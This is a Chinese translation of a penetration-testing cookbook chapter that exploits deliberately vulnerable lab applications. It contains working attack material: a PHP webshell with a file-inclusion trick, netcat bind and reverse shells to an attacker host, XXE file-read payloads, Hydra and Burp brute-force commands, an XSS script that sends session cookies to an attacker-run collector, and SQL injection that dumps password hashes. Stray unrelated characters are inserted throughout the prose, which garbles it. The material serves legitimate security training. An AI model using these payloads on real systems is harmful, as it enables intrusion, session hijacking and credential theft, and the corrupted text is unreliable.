第六章 利用 -- 低懸的果實
作者:Gilberto Najera-Gutierrez
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
簡介
這章開始我們會開始涉及滲透測試的的利用層面纵寝。和漏洞評估的主要不同是挪挤,漏洞評估中測試者識別漏洞(多數(shù)時間使用自動化掃描器)和提出如何減輕它們的建議凶伙。而滲透測試中測試者作為惡意攻擊者并嘗試利用檢測到的漏洞色冀,并得到最后的結(jié)果:整個系統(tǒng)的淪陷漾月,內(nèi)部網(wǎng)絡(luò)訪問,敏感數(shù)據(jù)泄露闻妓,以及其它双谆。同時,要當(dāng)心不要影響系統(tǒng)的可用性或者為真正的攻擊者留下后門兴枯。
之前的章節(jié)中血淌,我們已經(jīng)涉及了如何檢測 Web 應(yīng)用中的一些漏洞。這一章中我們打算了解如何利用這些漏洞并使用它們來提取信息和獲得應(yīng)用及系統(tǒng)受限部分的訪問權(quán)财剖。
6.1 惡意使用文件包含和上傳
我們在第四章中看到悠夯,文件包含漏洞在開發(fā)者對生成文件路徑的輸入校驗不當(dāng)癌淮,并使用該路徑來包含源代碼文件時出現(xiàn)。服務(wù)端語言的現(xiàn)代版本疗疟,例如 PHP 自 5.2.0 起邑贴,將一些特性默認關(guān)閉,例如遠程文件包含送粱,所以 2011 年起就不大可能找到 RFI 了讲逛。
這個秘籍中,我們會上傳一些惡意文件店诗,其中之一是 Webshell(可用于在服務(wù)器中執(zhí)行命令的頁面)裹刮,之后使用本地文件包含來執(zhí)行它。
準備
這個秘籍中庞瘸,我們會使用 vulnerable_vm 中的 DVWA 捧弃,并以中等安全級別配置,所以讓我們將其配置起來擦囊。
訪問
http://192.168.56.102/dvwa
违霞。登錄。
將安全級別設(shè)置為中瞬场。訪問
DVWA Security
买鸽,在組合框中選擇medium
并點擊Submit
。
我們會上傳一些文件給服務(wù)器贯被,但是你需要記住它們儲存在哪里眼五,以便之后調(diào)用。所以彤灶,在 DVWA 中訪問Upload
并上傳任何 JPG 圖像看幼。如果成功了,他會告訴你文件上傳到了../../hackable/uploads/
』仙拢現(xiàn)在我們知道了用于儲存上傳文件的相對路徑诵姜。這對于秘籍就足夠了。
我們也需要準備好我們的文件搏熄,所以讓我們創(chuàng)建帶有一下內(nèi)容的文本文件:
<?
system($_GET['cmd']);
echo '<form method="post" action="../../hackable/uploads/webshell. php"><input type="text" name="cmd"/></form>';
?>
將其保存為webshell.php
棚唆。我們需要另一個文件,創(chuàng)建rename.php
并輸入下列代碼:
<?
system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/ webshell.php');
?>
這個文件會接受特殊圖像文件(webshell.jpg
)并將其重命名為webshell.php
搬卒。
操作步驟
-
首先瑟俭,讓我們嘗試上傳我們的 webshell。在 DVWA 中訪問
Upload
之后嘗試上傳webshell.php
契邀,像這樣:于是摆寄,這里對于我們能夠上傳的東西有個驗證。這意味著我們需要上傳圖標(biāo)文件,或更精確來說微饥,帶有
.jpg
逗扒,.gif
或.png
的圖像文件。這就是為什么我們需要重命名腳本來還原原始文件的.php
擴展欠橘,便于我們執(zhí)行它矩肩。 -
為了避免驗證錯誤,我們需要將我們的 PHP 文件重命名為有效的擴展名肃续。在終端中黍檩,我們需要訪問 PHP 文件所在目錄并創(chuàng)建它們的副本:
cp rename.php rename.jpg cp webshell.php webshell.jpg
-
現(xiàn)在,讓我們返回 DVWA 并嘗試上傳二者:
-
一旦兩個 JPG 文件都上傳了始锚,我們使用本地文件包含漏洞過來執(zhí)行
rename.jpg
刽酱。訪問文件包含部分并利用這個漏洞來包含../../hackable/uploads/rename.jpg
:我們并沒有得到這個文件執(zhí)行的任何輸出,我們需要假設(shè)
webshell.jpg
命名為webshell.php
瞧捌。 -
如果它能工作棵里,我們應(yīng)該能夠包含
../../hackable/uploads/ webshell.php
,讓我們試試: -
在左上角的文本框中姐呐,輸入
/sbin/ifconfig
并按下回車:并且它能夠工作殿怜。就像圖片中那樣,服務(wù)器的 IP 是
192.168.56.102
∈锷埃現(xiàn)在头谜,我們可以在服務(wù)器中執(zhí)行命令,通過將它們鍵入到文本框中麦轰,或者為cmd
參數(shù)設(shè)置不同的值乔夯。
工作原理
在上傳有效 JPG 文件時砖织,我們所做的第一個測試是為了發(fā)現(xiàn)上傳文件保存的路徑款侵,便于我們可以在rename.php
中,以及表單的action
中使用這個路徑侧纯。
使用重命名腳本有兩個重要原因:首先新锈,上傳頁面只允許 JPG 文件,所以我們的腳本需要這個擴展名眶熬,其次妹笆,我們需要帶參數(shù)調(diào)用我們的 webshell(要執(zhí)行的命令),而我們從 Web 服務(wù)器調(diào)用圖片時不能帶參數(shù)娜氏。
PHP 中的system()
函數(shù)是攻擊核心拳缠,它所做的是,執(zhí)行系統(tǒng)命令并顯示輸出贸弥。這允許我們將 webshell 文件從.jpg
重命名為.php
文件并執(zhí)行我們指定為 GET 參數(shù)的命令窟坐。
更多
一旦我們上傳并執(zhí)行了服務(wù)端代碼,我們有很多選擇來攻陷服務(wù)器,例如哲鸳,下列代碼可以在綁定的 shell 中調(diào)用:
nc -lp 12345 -e /bin/bash
它打開服務(wù)器的 TCP 12345 端口并監(jiān)聽連接臣疑。連接建立之后,它會將接收的信息作為輸入來執(zhí)行/bin/bash
徙菠,并把輸出通過網(wǎng)絡(luò)發(fā)給被連接的主機(攻擊者主機)讯沈。
也可以讓服務(wù)器下載一些惡意程序,例如提權(quán)利用婿奔,執(zhí)行它來獲得更高權(quán)限缺狠。
6.2 利用 OS 命令注入
在上一個秘籍中,我們看到 PHP 的system()
如何用于在服務(wù)器中執(zhí)行 OS 命令萍摊。有時開發(fā)者會使用類似于它的指令儒老,或者相同的功能來執(zhí)行一些任務(wù),有時候他們會使用無效的用戶輸入作為參數(shù)來執(zhí)行命令记餐。
這個秘籍中驮樊,我們會利用命令注入漏洞來提取服務(wù)器中的重要信息。
操作步驟
登錄 DVWA 訪問
Command Execution
片酝。-
我們會看到
Ping for FREE
表單囚衔,試試它吧。Ping192.168.56.1
(在主機網(wǎng)絡(luò)中雕沿,我們的 Kali Linux 的 IP)练湿。這個輸出看起來像是直接的 ping 命令的輸出。這表明服務(wù)器使用 OS 命令來執(zhí)行 ping审轮。所以它可能存在 OS 命令注入肥哎。
-
讓我們嘗試注入一個非常簡單的命令,提交下列代碼:
192.168.56.1;uname -a.
我們可以看到
uname
命令的輸出就在 ping 的輸出之后疾渣。這里存在命令注入漏洞篡诽。 -
如果不帶IP地址會怎么樣呢:
;uname -a:
。 -
現(xiàn)在榴捡,我們打算獲取服務(wù)端的反向 shell杈女。首先我們必須確保服務(wù)器擁有所需的任何東西。提交下列代碼:
;ls /bin/nc*
吊圾。所以我們擁有多于一種版本的 Netcat达椰,我們打算使用它來生成連接。
nc
的OpenBSD版本不支持執(zhí)行連接命令项乒,所以我們使用傳統(tǒng)的版本啰劲。 -
下一步是監(jiān)聽 Kali 主機的連接。打開終端并執(zhí)行下列命令:
nc -lp 1691 -v
-
返回瀏覽器中檀何,提交這個:
;nc.traditional -e /bin/bash 192.168.56.1 1691 &
蝇裤。![](http://git.oschina.net/wizardforcel/kali-linux-web-pentest-cookbook-zh/raw/master/img/6-2-5.jpg
我們的終端會對連接做出反應(yīng)趁尼。我們現(xiàn)在可以執(zhí)行非交互式命令并檢查它們的輸出。
工作原理
就像 SQL 注入的例子那樣猖辫,命令注入漏洞的來源于弱輸入校驗機制酥泞,以及使用用戶提供的數(shù)據(jù)來拼接之后會用做 OS 命令的字符串。如果我們查看剛剛攻擊的頁面源代碼(每個 DVWA 頁面的右下角會有個按鈕)啃憎,會看到這些:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
我們可以看到芝囤,它直接將用戶的輸入附加到 ping 命令后面。我們所做的僅僅是添加一個分號辛萍,系統(tǒng)的 shell 會將其解釋為命令的分隔符悯姊,以及下一個我們打算執(zhí)行的命令。
在成功執(zhí)行命令之后贩毕,下一步就是驗證服務(wù)器是否擁有 Netcat悯许。它是一個能夠建立網(wǎng)絡(luò)連接的工具,在一些版本中還可以在新連接建立之后執(zhí)行命令辉阶。我們看到了服務(wù)器的系統(tǒng)擁有兩個不同版本的 Netcat先壕,并執(zhí)行了我們已知支持所需特性的版本。
之后我們配置攻擊系統(tǒng)來監(jiān)聽 TCP 1691 端口連接(也可以是任何其它可用的 TCP 端口)谆甜,然后我們讓服務(wù)器連接到我們的機器垃僚,通過該端口并在連接建立時執(zhí)行/bin/bash
(系統(tǒng) shell)。所以我們通過連接發(fā)送的任何東西都會被服務(wù)器接收作為 shell 的輸入规辱。
也可以讓服務(wù)器下載一些惡意程序谆棺,例如提權(quán)利用,執(zhí)行它來獲得更高權(quán)限罕袋。
6.3 利用 XML 外部實體注入
XML 是主要用于描述文檔或數(shù)據(jù)結(jié)構(gòu)的格式改淑,例如,HTML 是XML 的實現(xiàn)浴讯,它定義了頁面和它們的關(guān)系的結(jié)構(gòu)和格式朵夏。
XML 實體類似于定義在 XML 結(jié)構(gòu)中的數(shù)據(jù)結(jié)構(gòu),它們中的一些能夠從文件系統(tǒng)中讀取文件或者甚至是執(zhí)行命令兰珍。
這個秘籍中侍郭,我們會利用 XML 外部實體注入漏洞來在服務(wù)器中執(zhí)行代碼询吴。
準備
建議你開始之前遵循上一個秘籍中的步驟掠河。
操作步驟
瀏覽
http://192.168.56.102/mutillidae/index.php?page=xmlvalidator.php
。-
上面寫著它是個 XML 校驗器猛计。讓我們嘗試提交測試示例來觀察發(fā)生什么唠摹。在 XML 輸入框中,輸入
<somexml><message>Hello World</message></ somexml>
奉瘤,并點擊Validate XML
勾拉。 -
現(xiàn)在讓我們觀察它是否正確處理了實體煮甥,提交系列代碼:
<!DOCTYPE person [ <!ELEMENT person ANY> <!ENTITY person "Mr Bob"> ]> <somexml><message>Hello World &person;</message></somexml>
這里,我們僅僅定義了實體并將值
"Mr Bob"
賦給它藕赞。解析器在展示結(jié)果時解釋了實體并替換了它的值成肘。 -
這就是內(nèi)部實體的使用,讓我們嘗試外部實體:
<!DOCTYPE fileEntity [ <!ELEMENT fileEntity ANY> <!ENTITY fileEntity SYSTEM "file:///etc/passwd"> ]> <somexml><message>Hello World &fileEntity;</message></somexml>
使用這個技巧斧蜕,我們就可以提取系統(tǒng)中的任何文件双霍,只要它們可以在 Web 服務(wù)器的運行環(huán)境被用戶讀取。
我們也可以使用 XEE 來加載頁面批销。在上一個秘籍中洒闸,我們已經(jīng)設(shè)法將 webshell 上傳到服務(wù)器中,讓我們試試吧均芽。
<!DOCTYPE fileEntity [ <!ELEMENT fileEntity ANY> <!ENTITY fileEntity SYSTEM "http://192.168.56.102/dvwa/hackable/uploads/ webshell.php?cmd=/sbin/ifconfig"> ]> <somexml><message>Hello World &fileEntity;</message></somexml>
工作原理
XML 擁有叫做實體的特性丘逸。XML 實體是與值關(guān)聯(lián)的名稱,每次實體在文檔中使用的時候掀宋,它都會在 XML文件處理時替換為值深纲。使用它以及不同的可用包裝器(file://
來加載系統(tǒng)文件,或者http://
來加載 URL)劲妙,我們就可以通過輸入校驗和XML 解析器的配置囤萤,惡意使用沒有合理安全措施的實現(xiàn),并提取敏感數(shù)據(jù)或者甚至在服務(wù)器中執(zhí)行系統(tǒng)命令是趴。
這個秘籍中涛舍,我們使用file://
包裝器來使解析器加載服務(wù)器中的任意文件,之后唆途,使用http://
包裝器富雅,我們調(diào)用了網(wǎng)頁,它碰巧是同一個服務(wù)器中的 webshell肛搬,并執(zhí)行了一些命令没佑。
更多
這個漏洞也可以用于發(fā)起 DoS 攻擊,叫做“Billion laughs”温赔,你可以在維基百科中閱讀更多信息:https://en.wikipedia.org/wiki/Billion_laughs
蛤奢。
PHP 也支持不同的 XML 實體包裝器(類似于file://
和http://
),如果它在服務(wù)器中被開啟陶贼,也會在不需要上傳文件的情況下允許命令執(zhí)行啤贩,它就是expect://
。你可以在這里找到更多它和其它包裝器的信息:http://www.php.net/manual/en/wrappers.php
拜秧。
另見
XXE 漏洞如何在世界上最流行的站點上發(fā)現(xiàn)的例子痹屹,可以在這里查看:http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution
。
6.4 使用 Hydra 爆破密碼
Hydra 是網(wǎng)絡(luò)登錄破解器枉氮,也就是在線的破解器志衍,這意味著它可以用于通過爆破網(wǎng)絡(luò)服務(wù)來發(fā)現(xiàn)登錄密碼暖庄。爆破攻擊嘗試猜測正確的密碼,通過嘗試所有可能的字符組合楼肪。這種攻擊一定能找到答案培廓,但可能要花費數(shù)百萬年的時間。
雖然對于滲透測試者來說春叫,等待這么長時間不太可行医舆,有時候在大量服務(wù)器中測試一小部分用戶名/密碼組合是非常有效率的。
這個秘籍中象缀,我們會使用 Hydra 來爆破登錄頁面蔬将,在一些已知用戶上執(zhí)行爆破攻擊。
準備
我們需要擁有用戶名列表央星,在我們?yōu)g覽 vulnerable_vm 的時候我們在許多應(yīng)用中看到了有效用戶的一些名稱霞怀。讓我們創(chuàng)建文本文件users. txt
,內(nèi)容如下:
admin
test
user
user1
john
操作步驟
-
我們的第一步是分析登錄請求如何發(fā)送莉给,以及服務(wù)器如何響應(yīng)毙石。我們使用 Burp Suite 來捕獲 DVWA 的登錄請求:
我們可以看到請求是
/dvwa/login.php
,它擁有三個參數(shù):username
颓遏、password
和login
徐矩。 -
如果我們停止捕獲請求,并檢查瀏覽器中的結(jié)果叁幢,我們可以看到響應(yīng)是登錄頁面的重定向滤灯。
有效的用戶名/密碼組合不應(yīng)該直接重定向到登錄頁面,而應(yīng)該是其它頁面曼玩,例如
index.php
鳞骤。所以我們假設(shè)有效登錄會重定向到其它頁面,我們會接受index.php
作為用于分辨是否成功的字符串黍判。Hydra 使用這個字符串來判斷是否某個用戶名/密碼被拒絕了豫尽。 -
現(xiàn)在,我們準備好攻擊了顷帖,在終端中輸入下列命令:
hydra 192.168.56.102 http-form-post "/dvwa/login.php:username=^USE R^&password=^PASS^&Login=Login:login.php" -L users.txt -e ns -u -t 2 -w 30 -o hydra-result.txt
我們使用這個命令只嘗試了兩個用戶名組合:密碼等于用戶名和密碼為空美旧。我們從這個攻擊之中得到了兩個有效密碼,Hydra中標(biāo)為綠色贬墩。
工作原理
這個秘籍的第一個部分是捕獲和分析請求榴嗅,用于了解請求如何工作。如果我們考慮登錄頁面的輸出震糖,我們會看到消息“登錄失敗”录肯,并且可以使用這個消息作為 Hydra的輸入來充當(dāng)失敗的字符串。但是吊说,通過檢查代理的歷史论咏,我們可以看到它出現(xiàn)在重定向之后,Hydra只讀取第一個響應(yīng)颁井,所以它并不能用厅贪,這也是我們使用login.php
作為失敗字符串的原因。
我們使用了多個參數(shù)來調(diào)用 Hydra:
- 首先是服務(wù)器的 IP 地址雅宾。
-
http-form-post
:這表明 Hydra 會對 HTTP 表單使用 POST 請求养涮。接下來是由冒號分隔的,登錄頁面的 URL眉抬。請求參數(shù)和失敗字符串由&
分隔贯吓,^USER^
和^PASS^
用于表示用戶名和密碼應(yīng)該在請求中被放置的位置。 -
-L users.txt
:這告訴 Hydra 從users.txt
文件接收用戶名稱蜀变。 -
-e ns
:Hydra 會嘗試空密碼并將用戶名作為密碼悄谐。 -
-u
:Hydra會首先迭代用戶名而不是密碼。這意味著Hydra首先會對單一的密碼嘗試所有用戶名库北,之后移動到下一個密碼爬舰。這在防止賬戶鎖定的時候很有用。 -
-t 2
:我們不想讓登錄請求填滿服務(wù)器寒瓦,所以我們使用兩個線程情屹,這意味著每次兩個請求。 -
-w 30
:設(shè)置超時時間杂腰,或者等待服務(wù)器響應(yīng)的時間垃你。 -
-o hydra-result.txt
:將輸出保存到文本文件中。當(dāng)我們擁有幾百個可能有效的密碼時這會很實用喂很。
更多
要注意我們沒有使用-P
選項來使用密碼列表蜡镶,或者-x
選項來自動生成密碼。我們這樣做是因為爆破 Web 表單產(chǎn)生很大的網(wǎng)絡(luò)流量恤筛,如果服務(wù)器對它沒有防護官还,會產(chǎn)生 DoS 的情況。
不推薦使用大量的密碼在生產(chǎn)服務(wù)器上執(zhí)行爆破或字典攻擊毒坛,因為我們會使服務(wù)器崩潰望伦,阻攔有效用戶,或者被客戶端的保護機制阻攔煎殷。
推薦滲透測試者在執(zhí)行這種攻擊時對每個用戶嘗試四次屯伞,來避免被阻攔。例如豪直,我們可以嘗試-e ns
劣摇,就像這里做的這樣,之后添加-p 123456
來測試三種可能性弓乙,沒有密碼末融、密碼和用戶名一樣以及密碼為123456
钧惧,這是世界上最常見的密碼之一。
6.5 使用 Burp Suite 執(zhí)行登錄頁面的字典爆破
Burp Suite 的 Intruder 能夠?qū)?HTTP 請求的許多部分執(zhí)行模糊測試和爆破攻擊勾习。在執(zhí)行登錄頁面上的字典攻擊時非常實用浓瞪。
這個秘籍中,我們會使用 Burp Suite 的 Intruder 和 第二章生成的字典來通過登錄獲得訪問權(quán)巧婶。
準備
這個秘籍需要字典列表乾颁。它可以是來自目標(biāo)語言的簡單單詞列表,常見密碼的列表艺栈,或者我們在第二章“使用 John the Ripper 生成字典”中的列表英岭。
操作步驟
第一步是設(shè)置 Burp Suite 用作瀏覽器的代理。
瀏覽
http://192.168.56.102/WackoPicko/admin/index.php
湿右。我們會看到登錄頁面诅妹,讓我們嘗試和測試用戶名和密碼。
-
現(xiàn)在訪問大力的歷史诅需,并查看我們剛剛生成的登錄的 POST 請求:
右擊它并從菜單中選擇
Send to intruder
漾唉。intruder 標(biāo)簽頁會高亮娘扩,讓我們訪問它之后訪問
Positions
標(biāo)簽頁阳掐。這里我們會定義請求的哪個部分要用于測試紊婉。點擊
Clear §
來清除之前選項的區(qū)域氓辣。現(xiàn)在烙无,我們已經(jīng)選擇了什么會用作測試輸入录豺。高亮用戶名的值(
test
)跷车,并點擊Add §
链方。-
對密碼值執(zhí)行相同操作牵现,并點擊
Cluster bomb
作為攻擊類型: 下一步就是定義Intruder 用于對我們所選擇的輸入測試的值铐懊。訪問
Payloads
標(biāo)簽頁。-
使用寫著
Enter a new item
的文本框和Add
按鈕瞎疼,使用下列東西來填充列表:user john admin alice bob administrator user
現(xiàn)在從
Payload Set
框中選擇list 2
科乎。-
我們會使用字典來填充這個列表,點擊
Load
并選擇字典文件贼急。 我們現(xiàn)在擁有了兩個載荷集合茅茂,并準備好攻擊登錄頁面了。在頂部的菜單中太抓,訪問
Intruder | Start attack
空闲。如果我們使用免費版,會出現(xiàn)一個提示框告訴我們一些功能是禁用的走敌。這里碴倾,我們可以不使用這些功能,點擊
OK
。-
新的窗口會彈出跌榔,并展示攻擊進度异雁。為了分辨成功的登錄,我們需要檢查響應(yīng)長度矫户。點擊
Length
列來排列結(jié)果片迅,通過不同長度來識別響應(yīng)比較容易残邀。 -
如果我們檢查不同長度的結(jié)果皆辽,我們可以看到他重定向到了管理主頁,就像下面這樣:
工作原理
Intruder 所做的是芥挣,修改請求的特定部分驱闷,并使用定義好的載荷替換這些部分的值。載荷可以是這些東西:
簡單列表:來自文件空免,由剪貼板傳遞或者寫在文本框中的列表空另。
運行時文件:Intruder 可以在運行時從文件中讀取載荷,所以如果文件非常大蹋砚,它不會完全加載進內(nèi)存扼菠。
數(shù)字:生成一列順序或隨機的數(shù)字,以十進制或十六進制形式坝咐。
用戶名生成器:接受郵件地址列表循榆,從中提取可能的用戶。
爆破器:接受字符集并使用它來生成指定長度的所有排列墨坚。
這些載荷由Intruder以不同形式發(fā)送秧饮,在Positions
標(biāo)簽頁中由攻擊類型指定。攻擊類型在載荷標(biāo)記中的組合和排列方式上有所不同泽篮。
Sniper:對于載荷的單一集合盗尸,它將每個載荷值放在每個標(biāo)記位置,一次一個帽撑。
Battering ram:類似Sniper泼各,它使用載荷的單一集合,不同點是它在每個請求中將所有位置設(shè)置為相同的值亏拉。
Pitchfork:使用多個載荷集合扣蜻,并將每個集合中的一個項目放到每個標(biāo)記位置中。當(dāng)我們擁有不能混用的預(yù)定義數(shù)據(jù)時专筷,這會非常有用弱贼,例如,測試已知的用戶名和密碼磷蛹。
Cluster bomb:測試多個載荷吮旅,所以每個可能的排列都可以測試到。
對于結(jié)果,我們可以看到所有失敗嘗試都有相同的響應(yīng)庇勃,這里是 811 字節(jié)檬嘀。所以我們假設(shè)成功響應(yīng)的長度應(yīng)該不同(因為它會重定向到用戶主頁)。如果碰巧成功和失敗請求長度相同责嚷,我們也可以檢查狀態(tài)碼或者使用搜索框來尋找響應(yīng)中的特定模式鸳兽。
更多
Kali 包含了非常實用的密碼字典和單詞列表集合,位于/usr/ share/wordlists
罕拂。一些文件可以在這里找到:
rockyou.txt
:Rockyou.com在 2010 年被攻破揍异,泄露了多于 14 億的密碼,這個列表包含它們爆班。dnsmap.txt
:包含常用的子域名稱衷掷,例如內(nèi)部網(wǎng)絡(luò)、FTP或者WWW柿菩。在我們爆破 DNS 服務(wù)器時非常實用戚嗅。./dirbuster/*
:dirbuster
目錄包含Web 服務(wù)器中常見的文件名稱,這些文件可以在使用DirBuster
或 OWASP ZAP 強制瀏覽時使用枢舶。./wfuzz/*
:在這個目錄中懦胞,我們可以找到用于Web 攻擊的模糊字符串的大量集合,以及爆破文件凉泄。
6.6 通過 XSS 獲得會話 Cookie
我們已經(jīng)談?wù)撨^了 XSS躏尉,它是現(xiàn)在最常見的 Web 攻擊之一。XSS 可以用于欺騙用戶旧困,通過模仿登錄頁面來獲得身份醇份,或者通過執(zhí)行客戶端命令來收集信息,或者通過獲得會話 cookie 以及冒充在攻擊者的瀏覽器中的正常用戶來劫持會話吼具。
這個秘籍中僚纷,我們會利用持久性 XSS 來獲得用戶的會話 Cookie,之后使用這個 cookie 來通過移植到另一個瀏覽器來劫持會話拗盒,之后冒充用戶來執(zhí)行操作怖竭。
準備
對于這個秘籍,我們需要啟動 Web 服務(wù)器作為我們的 cookie 收集器陡蝇,所以在我們攻擊之前痊臭,我們需要啟動 Kali 中的 Apache,之后在 root 終端中執(zhí)行下列命令:
service apache2 start
在這本書所使用的系統(tǒng)中登夫,Apache 的文檔根目錄位于/var/www/html
广匙,創(chuàng)建叫做savecookie.php
的文件并輸入下列代碼:
<?php
$fp = fopen('/tmp/cookie_data.txt', 'a');
fwrite($fp, $_GET["cookie"] . "\n");
fclose($fp);
?>
這個 PHP 腳本會收集由 XSS 發(fā)送的所有 cookie。為了確保它能工作恼策,訪問http://127.0.0.1/savecookie.php?cookie=test
鸦致,并且檢查/tmp/cookie_data.txt
的內(nèi)容:
cat /tmp/cookie_data.txt
如果它顯式了test
單詞,就能生效。下一步就是了解 Kali 主機在 VirtualBox 主機網(wǎng)絡(luò)中的地址分唾,執(zhí)行:
ifconfig
對于這本書抗碰,Kali 主機 的vboxnet0
接口 IP 為 192.168.56.1 。
操作步驟
我們在這個秘籍中會使用兩個不同的瀏覽器绽乔。OWASP Mantra 是攻擊者的瀏覽器弧蝇,Iceweasel 是受害者的瀏覽器。在攻擊者的瀏覽器中折砸,訪問
http://192.168.56.102/peruggia/
看疗。-
讓我們給頁面的圖片添加一條評論,點擊
Comment on this picture
鞍爱。 -
在文本框中輸入下列代碼:
<script> var xmlHttp = new XMLHttpRequest(); xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true ); xmlHttp.send( null ); </script>
點擊
Post
鹃觉。-
頁面會執(zhí)行我們的腳本专酗,即使我們看不見任何改動睹逃。檢查Cookie 文件的內(nèi)容來查看結(jié)果。在我們的 Kali 主機上祷肯,打開終端并執(zhí)行:
cat /tmp/cookie_data.txt
文件中會出現(xiàn)新的條目沉填。
現(xiàn)在,在受害者瀏覽器中訪問
http://192.168.56.102/peruggia/
佑笋。點擊
Login
翼闹。輸入
admin
作為用戶名和密碼,并點擊Login
蒋纬。-
讓我們再次檢查Cookie文件的內(nèi)容:
cat /tmp/cookie_data.txt
最后一個條目由受害者的瀏覽器中的用戶生成猎荠。
現(xiàn)在在攻擊者的瀏覽器中,確保你沒有登錄蜀备,并打開 Cookies Manager+(在 Mantra 的菜單中关摇,
Tools | Application Auditing | Cookies Manager+
)。選擇 192.168.56.102(vulnerable_vm)的
PHPSESSID
Cookie碾阁。并點擊Edit
输虱。-
從
/tmp/cookie_data.txt
復(fù)制最后一個Cookie。之后將其粘貼到Content
字段中脂凶,像這樣: -
點擊
Save
宪睹,之后點擊Close
并在攻擊者的瀏覽器中重新加載頁面。現(xiàn)在我們通過持久性 XSS 攻擊劫持了管理員的會話蚕钦。
工作原理
簡單來說亭病,我們使用應(yīng)用中的 XSS 漏洞來將會話 Cookie 發(fā)送給遠程服務(wù)器,通過 JavaScript HTTP 請求嘶居。這個服務(wù)器被配置用于儲存會話 Cookie罪帖,之后,我們獲得一個會話 ID,并把它移植到不同的瀏覽器中來劫持驗證用戶的會話胸蛛。下面污茵,我們來看看每一步如何工作。
我們編寫的 PHP 文件用于在 XSS 攻擊執(zhí)行時保存收到的 COokie葬项。
我們輸入的評論是一個腳本泞当,使用JavaScript 的XMLHttpRequest 對象來向我們的惡意服務(wù)器發(fā)送 HTTP 請求,這個請求由兩步構(gòu)建:
xmlHttp.open( "GET", "http://192.168.56.1/savecookie.php?cookie=" + document.cookie, true );
我們使用 GET 方法打開請求民珍,向http://192.168.56.1/savecookie.php
URL添加叫做cookie
的參數(shù)襟士,它的值儲存在document.cookie
中,它是 JavaScript 中儲存cookie值的變量嚷量。最后的參數(shù)設(shè)置為true
陋桂,告訴瀏覽器這是異步請求,這意味著它不需要等待響應(yīng)蝶溶。
xmlHttp.send( null )
最后的指令將請求發(fā)送給服務(wù)器嗜历。
在管理員登錄并查看包含我們所發(fā)送評論的頁面之后,腳本會執(zhí)行抖所,并且管理員的會話 cookie 就儲存在我們的服務(wù)器中了梨州。
最后,一旦我們獲得了有效用戶的會話 cookie田轧,我們可以在瀏覽器中替換我們自己的會話 cookie暴匠,之后重新加載頁面來執(zhí)行操作,就像我們是這個用戶一樣傻粘。
更多
不僅僅是保存會話 Cookie 到文件每窖,惡意服務(wù)器也可以使用這些cookie 來向應(yīng)用發(fā)送請求來冒充正常用戶,以便執(zhí)行操作弦悉,例如添加或刪除評論窒典、上傳圖片或創(chuàng)建新用戶,甚至是管理員警绩。
6.7 逐步執(zhí)行基本的 SQL 注入
我們在第四章了解了如何檢測 SQL 注入崇败。這個秘籍中,我們會利用這個注入肩祥,并提取數(shù)據(jù)庫的信息后室。
操作步驟
我們已經(jīng)知道了 DVWA 存在SQL 注入的漏洞。所以我們使用 OWASP Mantra 登錄混狠,之后訪問
http://192.168.56.102/dvwa/vulnerabilities/ sqli/
岸霹。在檢測 SQL 注入存在之后,下一步就是查詢将饺,準確來說就是結(jié)果有多少列贡避。在 ID 框中輸入任何數(shù)字之后點擊
Submit
痛黎。現(xiàn)在,打開 HackBar(按下F9)并點擊
Load URL
刮吧。地址欄中的 URL 應(yīng)該出現(xiàn)在 HackBar 內(nèi)湖饱。在 HackBar 中,我們將
id
參數(shù)的值替換為1' order by 1 -- '
杀捻,并點擊Execute
井厌。-
我們通過執(zhí)行請求,持續(xù)增加
order
數(shù)字后面的值致讥,直到發(fā)生錯誤仅仆。這里例子中,它在3
的時候發(fā)生垢袱。 -
現(xiàn)在墓拜,我們知道了請求由兩列。讓我們嘗試是否能使用 UNION 語句來提取一些信息∏肫酰現(xiàn)在將
id
的值設(shè)為1' union select 1,2 -- '
并點擊Excecute
咳榜。 -
這意味著我們可以在 UNION 查詢中請求兩個值。那么試試 DBMS 的版本和數(shù)據(jù)庫用戶如何呢姚糊?將
id
設(shè)為1' union select @@version,current_user() -- '
并點擊Execute
贿衍。 -
讓我們查找一些有關(guān)的東西,例如應(yīng)用的用戶救恨。首先,我們需要定位用戶表释树,將
id
設(shè)置為1' union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- '
肠槽。 -
好的,我們知道了數(shù)據(jù)庫(或Schema)叫做
dvwa
奢啥,我們要查找的表叫做users
秸仙。因為我們只有兩個地方來設(shè)置值,我們需要知道的哪一列對我們有用桩盲。將id
設(shè)置為1' union select column_name, 1 FROM information_schema.tables WHERE table_name = 'users' -- '
寂纪。 -
最后,我們確切知道了要請求什么赌结,將
id
設(shè)為1' union select user, password FROM dvwa.users -- '
捞蛋。在
First name
字段中,我們得到了應(yīng)用的用戶名柬姚,在Surname
字段匯總拟杉,我們得到了每個用戶的密碼哈希。我們可以將這些哈希復(fù)制到我呢本文呢減重量承,并且嘗試使用 John the Ripper 或我們喜歡的密碼破解器來破解搬设。
工作原理
在我們的第一次注入穴店,1' order by 1 -- '
到1' order by 3 -- '
中,我們使用 SQL 語言的特性拿穴,它允許我們通過特定的字段或類泣洞,使用它的編號來排列結(jié)果。我們用它來產(chǎn)生錯誤默色,于是能夠知道查詢一共有多少列斜棚,便于我們將其用于創(chuàng)建 UNION 查詢。
UNION 查詢語句用于連接兩個擁有相同列數(shù)量的查詢该窗,通過注入這些我們就可以查詢數(shù)據(jù)庫中幾乎所有東西弟蚀。這個秘籍中,我們首先檢查了它是否像預(yù)期一樣工作酗失,之后我們將目標(biāo)設(shè)置為users
表义钉,并設(shè)法獲得它。
第一步是弄清數(shù)據(jù)庫和表的名稱规肴,我們通過查詢information_schema
數(shù)據(jù)庫來實現(xiàn)捶闸,它是 MySQL 中儲存所有數(shù)據(jù)庫、表和列信息的數(shù)據(jù)庫拖刃。
一旦我們知道了數(shù)據(jù)庫和表的名稱删壮,我們在這個表中查詢所有列,來了解我們需要查找哪一列兑牡,它的結(jié)果是user
和password
央碟。
最后,我們注入查詢來請求dvwa
